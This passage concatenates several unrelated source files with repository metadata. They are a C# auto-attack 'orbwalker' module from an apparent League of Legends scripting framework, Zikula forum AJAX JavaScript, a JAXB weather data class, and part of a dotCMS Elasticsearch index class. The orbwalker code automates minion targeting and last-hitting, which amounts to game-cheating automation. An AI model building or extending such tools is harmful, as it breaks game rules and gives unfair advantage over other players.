var target = TargetSelector.GetTarget(-1, TargetSelector.DamageType.Physical); if (target.IsValidTarget() && InAutoAttackRange(target)) { return target; } } } /*Jungle minions*/ if (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed) { var jminions = ObjectManager.Get<Obj_AI_Minion>() .Where( mob => mob.IsValidTarget() && mob.Team == GameObjectTeam.Neutral && InAutoAttackRange(mob) && mob.CharData.BaseSkinName != "gangplankbarrel" && mob.Name != "WardCorpse"); result = _config.Item("Smallminionsprio").GetValue<bool>() ? jminions.MinOrDefault(mob => mob.MaxHealth) : jminions.MaxOrDefault(mob => mob.MaxHealth); if (result != null) { return result; } } /* UnderTurret Farming */ if (mode == OrbwalkingMode.LaneClear || mode == OrbwalkingMode.Mixed || mode == OrbwalkingMode.LastHit || mode == OrbwalkingMode.Freeze) { var closestTower = ObjectManager.Get<Obj_AI_Turret>() .MinOrDefault(t => t.IsAlly && !t.IsDead ? Player.Distance(t, true) : float.MaxValue); if (closestTower != null && Player.Distance(closestTower, true) < 1500 * 1500) { Obj_AI_Minion farmUnderTurretMinion = null; Obj_AI_Minion noneKillableMinion = null; // return all the minions underturret in auto attack range var minions = MinionManager.GetMinions(Player.Position, Player.AttackRange + 200) .Where( minion => InAutoAttackRange(minion) && closestTower.Distance(minion, true) < 900 * 900) .OrderByDescending(minion => minion.CharData.BaseSkinName.Contains("Siege")) .ThenBy(minion => minion.CharData.BaseSkinName.Contains("Super")) .ThenByDescending(minion => minion.MaxHealth) .ThenByDescending(minion => minion.Health); if (minions.Any()) { // get the turret aggro minion var turretMinion = minions.FirstOrDefault( minion => minion is Obj_AI_Minion && HealthPrediction.HasTurretAggro(minion as Obj_AI_Minion)); if (turretMinion != null) { var hpLeftBeforeDie = 0; var hpLeft = 0; var turretAttackCount = 0; var turretStarTick = HealthPrediction.TurretAggroStartTick( turretMinion as Obj_AI_Minion); // from healthprediction (don't blame me :S) var turretLandTick = turretStarTick + (int)(closestTower.AttackCastDelay * 1000) + 1000 * Math.Max( 0, (int) (turretMinion.Distance(closestTower) - closestTower.BoundingRadius)) / (int)(closestTower.BasicAttack.MissileSpeed + 70); // calculate the HP before try to balance it for (float i = turretLandTick + 50; i < turretLandTick + 10 * closestTower.AttackDelay * 1000 + 50; i = i + closestTower.AttackDelay * 1000) { var time = (int)i - Utils.GameTimeTickCount + Game.Ping / 2; var predHP = (int) HealthPrediction.LaneClearHealthPrediction( turretMinion, time > 0 ? time : 0); if (predHP > 0) { hpLeft = predHP; turretAttackCount += 1; continue; } hpLeftBeforeDie = hpLeft; hpLeft = 0; break; } // calculate the hits is needed and possibilty to balance if (hpLeft == 0 && turretAttackCount != 0 && hpLeftBeforeDie != 0) { var damage = (int)Player.GetAutoAttackDamage(turretMinion, true); var hits = hpLeftBeforeDie / damage; var timeBeforeDie = turretLandTick + (turretAttackCount + 1) * (int)(closestTower.AttackDelay * 1000) - Utils.GameTimeTickCount; var timeUntilAttackReady = LastAATick + (int)(Player.AttackDelay * 1000) > Utils.GameTimeTickCount + Game.Ping / 2 + 25 ? LastAATick + (int)(Player.AttackDelay * 1000) - (Utils.GameTimeTickCount + Game.Ping / 2 + 25) : 0; var timeToLandAttack = Player.IsMelee ? Player.AttackCastDelay * 1000 : Player.AttackCastDelay * 1000 + 1000 * Math.Max(0, turretMinion.Distance(Player) - Player.BoundingRadius) / Player.BasicAttack.MissileSpeed; if (hits >= 1 && hits * Player.AttackDelay * 1000 + timeUntilAttackReady + timeToLandAttack < timeBeforeDie) { farmUnderTurretMinion = turretMinion as Obj_AI_Minion; } else if (hits >= 1 && hits * Player.AttackDelay * 1000 + timeUntilAttackReady + timeToLandAttack > timeBeforeDie) { noneKillableMinion = turretMinion as Obj_AI_Minion; } } else if (hpLeft == 0 && turretAttackCount == 0 && hpLeftBeforeDie == 0) { noneKillableMinion = turretMinion as Obj_AI_Minion; } // should wait before attacking a minion. if (ShouldWaitUnderTurret(noneKillableMinion)) { return null; } if (farmUnderTurretMinion != null) { return farmUnderTurretMinion; } // balance other minions foreach (var minion in minions.Where( x => x.NetworkId != turretMinion.NetworkId && x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion))) { var playerDamage = (int)Player.GetAutoAttackDamage(minion); var turretDamage = (int)closestTower.GetAutoAttackDamage(minion, true); var leftHP = (int)minion.Health % turretDamage; if (leftHP > playerDamage) { return minion; } } // late game var lastminion = minions.LastOrDefault(x => x.NetworkId != turretMinion.NetworkId && x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)); if (lastminion != null && minions.Count() >= 2) { if (1f / Player.AttackDelay >= 1f && (int)(turretAttackCount * closestTower.AttackDelay / Player.AttackDelay) * Player.GetAutoAttackDamage(lastminion) > lastminion.Health) { return lastminion; } if (minions.Count() >= 5 && 1f / Player.AttackDelay >= 1.2) { return lastminion; } } } else { if (ShouldWaitUnderTurret(noneKillableMinion)) { return null; } // balance other minions foreach (var minion in minions.Where( x => x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)) ) { if (closestTower != null) { var playerDamage = (int)Player.GetAutoAttackDamage(minion); var turretDamage = (int)closestTower.GetAutoAttackDamage(minion, true); var leftHP = (int)minion.Health % turretDamage; if (leftHP > playerDamage) { return minion; } } } //late game var lastminion = minions .LastOrDefault(x => x is Obj_AI_Minion && !HealthPrediction.HasMinionAggro(x as Obj_AI_Minion)); if (lastminion != null && minions.Count() >= 2) { if (minions.Count() >= 5 && 1f / Player.AttackDelay >= 1.2) { return lastminion; } } } return null; } } } /*Lane Clear minions*/ if (mode == OrbwalkingMode.LaneClear) { if (!ShouldWait()) { if (_prevMinion.IsValidTarget() && InAutoAttackRange(_prevMinion)) { var predHealth = HealthPrediction.LaneClearHealthPrediction( _prevMinion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay); if (predHealth >= 2 * Player.GetAutoAttackDamage(_prevMinion) || Math.Abs(predHealth - _prevMinion.Health) < float.Epsilon) { return _prevMinion; } } result = (from minion in ObjectManager.Get<Obj_AI_Minion>() .Where( minion => minion.IsValidTarget() && InAutoAttackRange(minion) && ShouldAttackMinion(minion)) let predHealth = HealthPrediction.LaneClearHealthPrediction( minion, (int)(Player.AttackDelay * 1000 * LaneClearWaitTimeMod), FarmDelay) where predHealth >= 2 * Player.GetAutoAttackDamage(minion) || Math.Abs(predHealth - minion.Health) < float.Epsilon select minion).MaxOrDefault( m => !MinionManager.IsMinion(m, true) ? float.MaxValue : m.Health); if (result != null) { _prevMinion = (Obj_AI_Minion)result; } } } return result; } /// <summary> /// Returns if a minion should be attacked /// </summary> /// <param name="minion">The <see cref="Obj_AI_Minion" /></param> /// <param name="includeBarrel">Include Gangplank Barrel</param> /// <returns><c>true</c> if the minion should be attacked; otherwise, <c>false</c>.</returns> private bool ShouldAttackMinion(Obj_AI_Minion minion) { if (minion.Name == "WardCorpse" || minion.CharData.BaseSkinName == "jarvanivstandard") { return false; } if (MinionManager.IsWard(minion)) { return _config.Item("AttackWards").IsActive(); } return (_config.Item("AttackPetsnTraps").GetValue<bool>() || MinionManager.IsMinion(minion)) && minion.CharData.BaseSkinName != "gangplankbarrel"; } /// <summary> /// Fired when the game is updated. /// </summary> /// <param name="args">The <see cref="EventArgs" /> instance containing the event data.</param> private void GameOnOnGameUpdate(EventArgs args) { try { if (ActiveMode == OrbwalkingMode.None) { return; } //Prevent canceling important spells if (Player.IsCastingInterruptableSpell(true)) { return; } var target = GetTarget(); Orbwalk( target, _orbwalkingPoint.To2D().IsValid() ? _orbwalkingPoint : Game.CursorPos, _config.Item("ExtraWindup").GetValue<Slider>().Value, Math.Max(_config.Item("HoldPosRadius").GetValue<Slider>().Value, 30)); } catch (Exception e) { Console.WriteLine(e); } } /// <summary> /// Fired when the game is drawn. /// </summary> /// <param name="args">The <see cref="EventArgs" /> instance containing the event data.</param> private void DrawingOnOnDraw(EventArgs args) { if (_config.Item("AACircle").GetValue<Circle>().Active) { Render.Circle.DrawCircle( Player.Position, GetRealAutoAttackRange(null) + 65, _config.Item("AACircle").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value); } if (_config.Item("AACircle2").GetValue<Circle>().Active) { foreach (var target in HeroManager.Enemies.FindAll(target => target.IsValidTarget(1175))) { Render.Circle.DrawCircle( target.Position, GetAttackRange(target), _config.Item("AACircle2").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value); } } if (_config.Item("HoldZone").GetValue<Circle>().Active) { Render.Circle.DrawCircle( Player.Position, _config.Item("HoldPosRadius").GetValue<Slider>().Value, _config.Item("HoldZone").GetValue<Circle>().Color, _config.Item("AALineWidth").GetValue<Slider>().Value, true); } _config.Item("FocusMinionsOverTurrets") .Permashow(_config.Item("FocusMinionsOverTurrets").GetValue<KeyBind>().Active); if (_config.Item("LastHitHelper").GetValue<bool>()) { foreach (var minion in ObjectManager.Get<Obj_AI_Minion>() .Where( x => x.Name.ToLower().Contains("minion") && x.IsHPBarRendered && x.IsValidTarget(1000))) { if (minion.Health < ObjectManager.Player.GetAutoAttackDamage(minion, true)) { Render.Circle.DrawCircle(minion.Position, 50, Color.LimeGreen); } } } } } } }
SephLeague/LeagueSharp
YasuoPro/Orbwalking.cs
C#
gpl-3.0
70,413
function failure () { } function create_msg(){ //alert(document.getElementById('intraweb').value); if (document.getElementById('intraweb').value == '') { jQuery('#intraweb').focus(); } } function enableTopicListSort(){ if (jQuery( "#EnDisSort" ).hasClass( "disabled" )) { jQuery('.handle').removeClass('hide'); jQuery('#EnDisSort').removeClass('disabled'); jQuery('#divEDSort').attr('data-original-title',Zikula.__('Disable topics list reorder','module_iwforums_js')); } else { jQuery('.handle').addClass('hide'); jQuery('#EnDisSort').addClass('disabled'); jQuery('#divEDSort').attr('data-original-title',Zikula.__('Enable topics list reorder','module_iwforums_js')); } } // Delete selected topic and its messages function deleteTopic(){ var fid = jQuery('#fid').val(); var ftid = jQuery('#ftid').val(); var p = { fid : fid, ftid: ftid, deleteTopic: true } if (typeof(fid) != 'undefined') new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=reorderTopics", { parameters: p, onComplete: deleteTopic_reponse, onFailure: failure }); } function deleteTopic_reponse(req) { if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('topicsList').update(b.content); } function reorderTopics(fid, ftid){ var tList = jQuery("#topicsTableBody").sortable("serialize"); var p = { fid : fid, ftid : ftid, ordre : tList } new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=reorderTopics", { parameters: p, onComplete: reorderTopics_reponse, onFailure: failure }); } function reorderTopics_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('topicsList').update(b.content); jQuery('#divEDSort').attr('title',Zikula.__('Disable topics list reorder','module_iwforums_js')); enableTopicListSort(); } /* * Deleta message attached file * @returns {} */ function delAttachment(){ var p = { fid : document.new_msg["fid"].value, fmid : document.new_msg["fmid"].value } new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=delAttachment", { parameters: p, onComplete: delAttachment_reponse, onFailure: failure }); } function delAttachment_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('attachment').update(b.content); // Reload filestyle jQuery(":file").filestyle({ buttonText : b.btnMsg , buttonBefore: true, iconName : "glyphicon-paperclip" }); jQuery(":file").filestyle('clear'); } /* * Apply introduction forum changes * @returns {} */ function updateForumIntro(){ var fid = document.feditform["fid"].value; var nom_forum = document.feditform["titol"].value; var descriu = document.feditform["descriu"].value; var longDescriu = document.feditform["lDesc"].value; var observacions = document.feditform["observacions"].value; var topicsPage = document.feditform["topicsPage"].value; /*if (typeof tinyMCE != "undefined") { tinyMCE.execCommand('mceRemoveEditor', true, 'lDesc'); } */ //Scribite.destroyEditor('lDesc'); var p = { fid : fid, nom_forum : nom_forum, descriu : descriu, longDescriu : longDescriu, topicsPage : topicsPage, observacions: observacions }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=setForum", { parameters: p, onComplete: updateForumIntro_reponse, onFailure: failure }); } function updateForumIntro_reponse(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('forumDescription').update(b.content); jQuery("#btnNewTopic").toggle(); if (b.moduleSc){ if (b.moduleSc == 'new') Scribite.createEditors(); if (b.moduleSc == 'old') document.location.reload(true); } /*if (typeof tinyMCE != "undefined") { tinyMCE.execCommand('mceAddEditor', true, 'lDesc'); } */ } // Get selected image icon in edit, create and reply message forms function selectedIcon(){ var file= jQuery("#iconset input[type='radio']:checked").val(); if (file != "") { var src = document.getElementById(file).src; jQuery('#currentIcon').attr("src", src); jQuery('#currentIcon').show(); } else { jQuery('#currentIcon').hide(); } } function checkName(){ if (jQuery('#titol').val().length < 1) { jQuery('#btnSend').hide(); jQuery('#inputName').addClass('has-error'); } else { jQuery('#btnSend').show(); jQuery('#inputName').removeClass('has-error'); jQuery('#titol').focus(); } } // Show/hide forum information edition form function showEditForumForm(){ jQuery("#forumIntroduction").toggle(); jQuery("#forumEdition").toggle(); jQuery("#btnNewTopic").toggle(); } function getTopic(fid, ftid){ var p = { fid : fid, ftid: ftid }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=getTopic", { parameters: p, onComplete: getTopic_response, onFailure: failure }); } function getTopic_response(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); } function editTopic(fid, ftid){ var p = { fid : fid, ftid: ftid }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=editTopic", { parameters: p, onComplete: editTopic_response, onFailure: failure }); } function editTopic_response(req) { if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); } // Save topic with new values function setTopic(){ var fid = document.feditTopic["fid"].value; var ftid = document.feditTopic["ftid"].value; var titol = document.feditTopic["titol"].value; var descriu = document.feditTopic["descriu"].value; var p = { fid : fid, ftid: ftid, titol: titol, descriu: descriu }; new Zikula.Ajax.Request(Zikula.Config.baseURL + "ajax.php?module=IWforums&func=setTopic", { parameters: p, onComplete: setTopic_response, onFailure: failure }); } function setTopic_response(req){ if (!req.isSuccess()) { Zikula.showajaxerror(req.getMessage()); return; } var b = req.getData(); $('row_'+b.id).update(b.content); // Show or hide sortable list if (jQuery( "#EnDisSort" ).hasClass( "disabled" )) { jQuery('.handle').addClass('hide'); } else { jQuery('.handle').removeClass('hide'); } } function chgUsers(a){ show_info(); var b={ gid:a }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=chgUsers",{ parameters: b, onComplete: chgUsers_response, onFailure: chgUsers_failure }); } function chgUsers_failure(){ show_info(); $("uid").update(''); } function chgUsers_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); show_info(); $("uid").update(b.content); } function show_info() { var info = ''; if(!Element.hasClassName(info, 'z-hide')) { $("chgInfo").update('&nbsp;'); Element.addClassName("chgInfo", 'z-hide'); } else { $("chgInfo").update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); Element.removeClassName("chgInfo", 'z-hide'); } } function modifyField(a,aa){ showfieldinfo(a, modifyingfield); var b={ fid:a, character:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=modifyForum",{ parameters: b, onComplete: modifyField_response, onFailure: failure }); } function modifyField_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); changeContent(b.fid); } function showfieldinfo(fndid, infotext){ if(fndid) { if(!Element.hasClassName('foruminfo_' + fndid, 'z-hide')) { $('foruminfo_' + fndid).update('&nbsp;'); Element.addClassName('foruminfo_' + fndid, 'z-hide'); } else { $('foruminfo_' + fndid).update(infotext); Element.removeClassName('foruminfo_' + fndid, 'z-hide'); } } } function changeContent(a){ var b={ fid:a }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=changeContent",{ parameters: b, onComplete: changeContent_response, onFailure: failure }); } function changeContent_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('forumChars_' + b.fid).update(b.content); } // Check or uncheck forum message function of_mark(fid,msgId){ var b={ fid:fid, fmid:msgId }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=mark",{ parameters: b, onComplete: of_mark_response, onFailure: failure }); } function of_mark_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); var icon = '<span data-toggle="tooltip" class="glyphicon glyphicon-flag" title="'+b.ofMarkText+'"></span>'; if(b.m == 1){ Element.removeClassName(b.fmid, 'disabled'); //Element.writeAttribute(b.fmid,'title',b.ofMarkText); }else{ Element.addClassName(b.fmid, 'disabled'); //Element.writeAttribute(b.fmid,'title',b.ofMarkText); } $(b.fmid).update(icon); if (b.reloadFlags) { reloadFlaggedBlock(); } } function mark(a,aa){ var b={ fid:a, fmid:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=mark",{ parameters: b, onComplete: mark_response, onFailure: failure }); } function mark_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); if(b.m == 1){ $(b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/marcat.gif"; $("msgMark" + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/marcat.gif"; $('msgMark' + b.fmid).update(b.fmid); }else{ $(b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/res.gif"; $("msgMark" + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/res.gif"; $('msgMark' + b.fmid).update(b.fmid); } if (b.reloadFlags) { reloadFlaggedBlock(); } } function deleteGroup(a,aa){ var response = confirm(deleteConfirmation); if(response){ $('groupId_' + a + '_' + aa).update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); var b={ gid:a, fid:aa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=deleteGroup",{ parameters: b, onComplete: deleteGroup_response, onFailure: failure }); } } function deleteGroup_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('groupId_' + b.gid + '_' + b.fid).toggle() } function deleteModerator(a,aa){ var response = confirm(deleteModConfirmation); if(response){ var b={ fid:a, id:aa }; $('mod_' + a + '_' + aa).update('<img src="'+Zikula.Config.baseURL+'images/ajax/circle-ball-dark-antialiased.gif">'); var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=deleteModerator",{ parameters: b, onComplete: deleteModerador_response, onFailure: failure }); } } function deleteModerador_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('mod_' + b.fid + '_' +b.id).toggle() } function openMsg(a,aa,aaa,aaaa,aaaaa,aaaaaa){ $('openMsgIcon_' + a).src=Zikula.Config.baseURL+"images/ajax/circle-ball-dark-antialiased.gif"; var b={ fmid:a, fid:aa, ftid:aaa, u:aaaa, oid:aaaaa, inici:aaaaaa }; var c=new Zikula.Ajax.Request(Zikula.Config.baseURL+"ajax.php?module=IWforums&func=openMsg",{ parameters: b, onComplete: openMsg_response, onFailure: failure }); } function openMsg_response(a){ if(!a.isSuccess()){ Zikula.showajaxerror(a.getMessage()); return } var b=a.getData(); $('openMsgRow_' + b.fmid).update(b.content); $('openMsgIcon_' + b.fmid).toggle(); $('msgImage_' + b.fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/msg.gif"; } function closeMsg(fmid){ $('openMsgRow_' + fmid).update(''); $('openMsgIcon_' + fmid).src=Zikula.Config.baseURL+"modules/IWforums/images/msgopen.gif"; $('openMsgIcon_' + fmid).toggle(); }
projectestac/intraweb
intranet/modules/IWforums/javascript/IWforums.js
JavaScript
gpl-3.0
14,075
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.4-2 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2015.12.18 at 12:06:30 PM EST // package com.devtechnology.api.jaxb; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for dataType complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="dataType"> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence> * &lt;element name="location" type="{}locationType" maxOccurs="unbounded"/> * &lt;element name="moreWeatherInformation" type="{}moreWeatherInformationType" maxOccurs="unbounded"/> * &lt;element name="time-layout" type="{}time-layoutElementType" maxOccurs="unbounded"/> * &lt;element name="parameters" type="{}parametersType" maxOccurs="unbounded"/> * &lt;/sequence> * &lt;attribute name="type"> * &lt;simpleType> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}string"> * &lt;enumeration value="forecast"/> * &lt;enumeration value="current observations"/> * &lt;enumeration value="analysis"/> * &lt;enumeration value="guidance"/> * &lt;/restriction> * &lt;/simpleType> * &lt;/attribute> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "dataType", propOrder = { "location", "moreWeatherInformation", "timeLayout", "parameters" }) public class DataType { @XmlElement(required = true) protected List<LocationType> location; @XmlElement(required = true) protected List<MoreWeatherInformationType> moreWeatherInformation; @XmlElement(name = "time-layout", required = true) protected List<TimeLayoutElementType> timeLayout; @XmlElement(required = true) protected List<ParametersType> parameters; @XmlAttribute(name = "type") protected String type; /** * Gets the value of the location property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the location property. * * <p> * For example, to add a new item, do as follows: * <pre> * getLocation().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link LocationType } * * */ public List<LocationType> getLocation() { if (location == null) { location = new ArrayList<LocationType>(); } return this.location; } /** * Gets the value of the moreWeatherInformation property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the moreWeatherInformation property. * * <p> * For example, to add a new item, do as follows: * <pre> * getMoreWeatherInformation().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link MoreWeatherInformationType } * * */ public List<MoreWeatherInformationType> getMoreWeatherInformation() { if (moreWeatherInformation == null) { moreWeatherInformation = new ArrayList<MoreWeatherInformationType>(); } return this.moreWeatherInformation; } /** * Gets the value of the timeLayout property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the timeLayout property. * * <p> * For example, to add a new item, do as follows: * <pre> * getTimeLayout().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link TimeLayoutElementType } * * */ public List<TimeLayoutElementType> getTimeLayout() { if (timeLayout == null) { timeLayout = new ArrayList<TimeLayoutElementType>(); } return this.timeLayout; } /** * Gets the value of the parameters property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the parameters property. * * <p> * For example, to add a new item, do as follows: * <pre> * getParameters().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link ParametersType } * * */ public List<ParametersType> getParameters() { if (parameters == null) { parameters = new ArrayList<ParametersType>(); } return this.parameters; } /** * Gets the value of the type property. * * @return * possible object is * {@link String } * */ public String getType() { return type; } /** * Sets the value of the type property. * * @param value * allowed object is * {@link String } * */ public void setType(String value) { this.type = value; } }
DevTechnology/DTGEPA
epa-api-webapp/src/main/java/com/devtechnology/api/jaxb/DataType.java
Java
gpl-3.0
6,435
package com.dotcms.content.elasticsearch.business; import java.io.File; import java.io.IOException; import java.net.URL; import java.sql.Connection; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.Date; import java.util.List; import java.util.Map; import com.dotcms.repackage.elasticsearch.org.elasticsearch.ElasticSearchException; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.create.CreateIndexResponse; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.exists.indices.IndicesExistsRequest; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.admin.indices.status.IndexStatus; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.bulk.BulkRequestBuilder; import com.dotcms.repackage.elasticsearch.org.elasticsearch.action.index.IndexRequest; import com.dotcms.repackage.elasticsearch.org.elasticsearch.client.Client; import com.dotcms.repackage.elasticsearch.org.elasticsearch.client.IndicesAdminClient; import com.dotcms.repackage.elasticsearch.org.elasticsearch.index.query.QueryBuilders; import com.dotcms.content.business.DotMappingException; import com.dotcms.content.elasticsearch.business.IndiciesAPI.IndiciesInfo; import com.dotcms.content.elasticsearch.util.ESClient; import com.dotmarketing.business.APILocator; import com.dotmarketing.business.DotStateException; import com.dotmarketing.cache.StructureCache; import com.dotmarketing.common.db.DotConnect; import com.dotmarketing.db.DbConnectionFactory; import com.dotmarketing.db.HibernateUtil; import com.dotmarketing.exception.DotDataException; import com.dotmarketing.exception.DotHibernateException; import com.dotmarketing.exception.DotSecurityException; import com.dotmarketing.portlets.contentlet.model.Contentlet; import com.dotmarketing.portlets.structure.factories.RelationshipFactory; import com.dotmarketing.portlets.structure.model.Relationship; import com.dotmarketing.util.Logger; import com.dotmarketing.util.UtilMethods; import com.dotcms.repackage.tika_app_1_3.com.google.gson.Gson; public class ESContentletIndexAPI implements ContentletIndexAPI{ private static final ESIndexAPI iapi = new ESIndexAPI(); private static final ESMappingAPIImpl mappingAPI = new ESMappingAPIImpl(); public static final SimpleDateFormat timestampFormatter=new SimpleDateFormat("yyyyMMddHHmmss"); public synchronized void getRidOfOldIndex() throws DotDataException { IndiciesInfo idxs=APILocator.getIndiciesAPI().loadIndicies(); if(idxs.working!=null) delete(idxs.working); if(idxs.live!=null) delete(idxs.live); if(idxs.reindex_working!=null) delete(idxs.reindex_working); if(idxs.reindex_live!=null) delete(idxs.reindex_live); } /** * Tells if at least we have a "working_XXXXXX" index * @return * @throws DotDataException */ private synchronized boolean indexReady() throws DotDataException { IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); return info.working!=null && info.live!=null; } /** * Inits the indexs */ public synchronized void checkAndInitialiazeIndex() { new ESClient().getClient(); // this will call initNode try { // if we don't have a working index, create it if (!indexReady()) initIndex(); } catch (Exception e) { Logger.fatal("ESUil.checkAndInitialiazeIndex", e.getMessage()); } } public synchronized boolean createContentIndex(String indexName) throws ElasticSearchException, IOException { return createContentIndex(indexName, 0); } @Override public synchronized boolean createContentIndex(String indexName, int shards) throws ElasticSearchException, IOException { CreateIndexResponse cir = iapi.createIndex(indexName, null, shards); int i = 0; while(!cir.isAcknowledged()){ try { Thread.sleep(100); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } if(i++ > 300){ throw new ElasticSearchException("index timed out creating"); } } ClassLoader classLoader = null; URL url = null; classLoader = Thread.currentThread().getContextClassLoader(); url = classLoader.getResource("es-content-mapping.json"); // create actual index String mapping = new String(com.liferay.util.FileUtil.getBytes(new File(url.getPath()))); mappingAPI.putMapping(indexName, "content", mapping); return true; } /** * Creates new indexes /working_TIMESTAMP (aliases working_read, working_write and workinglive) * and /live_TIMESTAMP with (aliases live_read, live_write, workinglive) * * @return the timestamp string used as suffix for indices * @throws ElasticSearchException if Murphy comes arround * @throws DotDataException */ private synchronized String initIndex() throws ElasticSearchException, DotDataException { if(indexReady()) return ""; try { final String timeStamp=timestampFormatter.format(new Date()); final String workingIndex=ES_WORKING_INDEX_NAME+"_"+timeStamp; final String liveIndex=ES_LIVE_INDEX_NAME+ "_" + timeStamp; final IndicesAdminClient iac = new ESClient().getClient().admin().indices(); createContentIndex(workingIndex,0); createContentIndex(liveIndex,0); IndiciesInfo info=new IndiciesInfo(); info.working=workingIndex; info.live=liveIndex; APILocator.getIndiciesAPI().point(info); return timeStamp; } catch (Exception e) { throw new ElasticSearchException(e.getMessage(), e); } } /** * creates new working and live indexes with reading aliases pointing to old index * and write aliases pointing to both old and new indexes * @return the timestamp string used as suffix for indices * @throws DotDataException * @throws ElasticSearchException */ public synchronized String setUpFullReindex() throws ElasticSearchException, DotDataException { if(indexReady()) { try { final String timeStamp=timestampFormatter.format(new Date()); // index names for new index final String workingIndex=ES_WORKING_INDEX_NAME + "_" + timeStamp; final String liveIndex=ES_LIVE_INDEX_NAME + "_" + timeStamp; final IndicesAdminClient iac = new ESClient().getClient().admin().indices(); createContentIndex(workingIndex); createContentIndex(liveIndex); IndiciesInfo info=APILocator.getIndiciesAPI().loadIndicies(); IndiciesInfo newinfo=new IndiciesInfo(); newinfo.working=info.working; newinfo.live=info.live; newinfo.reindex_working=workingIndex; newinfo.reindex_live=liveIndex; 